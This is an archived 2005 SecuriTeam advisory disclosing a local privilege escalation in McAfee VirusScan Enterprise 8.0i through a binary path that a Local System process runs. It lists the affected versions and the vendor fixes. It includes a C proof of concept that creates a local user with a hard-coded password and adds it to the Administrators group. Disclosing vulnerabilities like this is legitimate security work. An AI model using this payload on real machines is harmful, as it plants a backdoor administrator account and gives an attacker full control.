

# [NT] McAfee VirusScan Privileges Escalation

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-12/msg00082.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxx)>
  - *Date:* 26 Dec 2005 18:48:45 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

McAfee VirusScan Privileges Escalation

---

## SUMMARY

<<http://www.mcafee.com/>> McAfee VirusScan Enterprise – "Enterprise antivirus and antispymware solution. McAfee VirusScan detects, blocks, and removes viruses and spyware, that may result in the loss of your irreplaceable documents, such as digital photos, family movies, and financial spreadsheets, identity theft and slower PC performance."

A security vulnerability in McAfee's VirusScan Enterprise allows local attackers to escalate their privileges.

## DETAILS

Vulnerable Systems:

- \* McAfee VirusScan Enterprise 8.0i (patch 11) and CMA 3.5 (patch 5)

Immune Systems:

- \* McAfee VirusScan Enterprise 8.0i (patch 12)

By default the naPrdMgr.exe process runs under the context of the Local System account. Every so often it will run through a process where it does the following:

## [NT] McAfee VirusScan Privileges Escalation

- Attempts to run \Program Files\Network Associates\VirusScan\EntVUtil.EXE
- Reads C:\Program Files\Common Files\Network Associates\Engine\SCAN.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\NAMES.DAT
- Reads C:\Program Files\Common Files\Network Associates\Engine\CLEAN.DAT

### Vendor Status:

The vendor has released knowledge base article KB45256 to address the issue.

### Solutions:

Solution one from the vendor:

"This issue is resolved in Patch 12."

Solution two from the vendor:

"The VirusScan Enterprise plugin VSPLUGIN.DLL has been updated to resolve the potential exploit. The new plugin is available as a HotFix from McAfee Tier III Technical Support."

### Exploit:

```
// ===== Start Program.c =====
#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
    CHAR szWinDir[ _MAX_PATH ];
    CHAR szCmdLine[ _MAX_PATH ];
    GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
    printf( "Creating user \"Program\" with password \"Pr0gr@m$$\"...\n"
    );
    wsprintf( szCmdLine, "%s\\system32\\net.exe user Program Pr0gr@m$$
/add", szWinDir );
    system( szCmdLine );
    printf( "Adding user \"Program\" to the local Administrators
group...\n" );
    wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators
Program /add", szWinDir );
    system( szCmdLine );
    return 0;
}
// ===== End Program.c =====
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:reedarvin@xxxxxxxxxx>> Reed Arvin.

The original article can be found at:

<<http://reedarvin.thearvins.com/20051222-01.html>>

<http://reedarvin.thearvins.com/20051222-01.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxx

=====

=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- Prev by Date: [\*\*\[NEWS\] Cisco PIX / CS ACS Downloadable RADIUS ACLs\*\*](#)
  - Next by Date: [\*\*\[UNIX\] Linux Kernel Socket Buffer Memory Exhaustion DoS\*\*](#)
  - Previous by thread: [\*\*\[NEWS\] Cisco PIX / CS ACS Downloadable RADIUS ACLs\*\*](#)
  - Next by thread: [\*\*\[UNIX\] Linux Kernel Socket Buffer Memory Exhaustion DoS\*\*](#)
  - Index(es):
    - ◆ [\*\*Date\*\*](#)
    - ◆ [\*\*Thread\*\*](#)